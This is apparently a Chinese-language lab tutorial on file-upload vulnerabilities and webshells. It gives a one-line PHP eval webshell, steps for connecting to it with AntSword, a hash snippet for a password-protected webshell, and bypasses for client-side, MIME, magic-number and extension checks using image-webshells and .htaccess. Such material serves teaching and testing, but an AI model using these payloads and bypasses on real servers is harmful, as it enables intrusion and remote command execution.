木马——文件上传

目录

1、WebShell

2.一句话木马

靶场训练

3.蚁剑

虚拟终端

文件管理

[​编辑 数据操作](#编辑 数据操作)

4.404.php

5.文件上传漏洞

客户端JS检测

右键查看元素,删除检测代码

BP拦截JPG修改为php

服务端检测

1.MIME类型检测

2.文件幻数检测

3.后缀名检测


1、WebShell

WebShell就是以网页文件形式(asp\php\jsp)存在的一种命令执行环境,客户端通过远程连接,利用W ebS h ell连接到服务器,并可对服务器进行操作。

前提是后端一定可以解析这种环境。

2.一句话木马

php 复制代码
<?php @eval($_POST[a]); ?>




靶场训练

原理:

1.上传时,客户端是可控的,比如要求上传一个图片,但是可以上传php文件

2.上传后,数据库系统对文件的筛选不严格,导致木马可以入侵

3.蚁剑

URL填muma.php的绝对路径

连接密码是参数名

虚拟终端

文件管理

数据操作

4.404.php

提前将pass值为admin的结果运行出来

php 复制代码
<? 
$salt = "silic1234";
$pass = "admin";
$pass = $salt.$pass;
$pass = md5(md5(md5($pass)));
echo $pass;
?>

然后将运行结果替换到password

在php路径下输入变量名,成功入侵!

5.文件上传漏洞

客户端JS检测

右键查看元素,删除检测代码

BP拦截JPG修改为php

服务端检测

1.MIME类型检测

服务端检测,上传的是PHP类型

打开BP拦截后

根据下面这个表修改MIME类型

|-----------|--------------------------|
| .jpg | image/jpeg |
| .gif | image/gig |
| .png | image/png |
| .txt | text/plain |
| .word | application/msword |
| .html | text/html |
| .*(二进制流) | application/octet-stream |

Forward后成功上传到了服务器

2.文件幻数检测

什么是文件幻数?

文件幻数检测,即文件头检测,主要是检测文件内容开头处的文件幻数。每个图片类型

的前几个字节代表的意义是不同的,这几个独特的字节就是幻数。


PHP文件和JPG文件的幻数是不一样的,因此我们可以用一种图片马的东西来绕过这种检测。图片马的幻数是JPG的,却包含PHP代码。

图片马,用一句话木马和图片组合。

管理员CMD 运行 copy 1.jpg/b + muma.php/a muma1.jpg

muma1.jpg就是图片马

3.后缀名检测

大部分网页会过滤掉和php可能的所有文件。这种情况下,入侵的办法是在上传图片马的情况下,上传配置文件.htaccess,这个文件可以把Jpg作为Php来执行。

相关推荐
ZStack开发者社区6 小时前
青海交科携手云轴科技ZStack为青海交控集团打造智慧物流大数据平台
大数据·服务器·科技·云计算·gpu算力
Yang96116 小时前
12 小时续航 + 1.5kg 便携!鼎讯信通 OTDR 适配复杂野外运维
运维·网络
身如柳絮随风扬6 小时前
Nginx 核心配置与实战解析:从入门到进阶
运维·nginx
xiaoduo AI7 小时前
智能客服机器人能精准预判用户疑问提前主动应答吗?能大幅缩短客户咨询沟通时长吗?
运维·服务器·机器人
勤劳的进取家7 小时前
服务器文件交互方式
运维·服务器·microsoft
yyuuuzz7 小时前
aws亚马逊云上部署常见问题梳理
运维·服务器·网络·数据库·云计算·aws
优化Henry7 小时前
5G站点光链路降级告警排查与处理——AAS光端口隐性故障定位
运维·网络·5g·信息与通信
wanhengidc7 小时前
算力服务器的优势都有哪些?
大数据·运维·服务器·网络·人工智能·安全·智能手机
一直有一个ac的梦想7 小时前
cmu15445 2025fall lec15 query optimiaztion Pt1
java·服务器·数据库
bukeyiwanshui7 小时前
20260508 docker教案
运维·docker·容器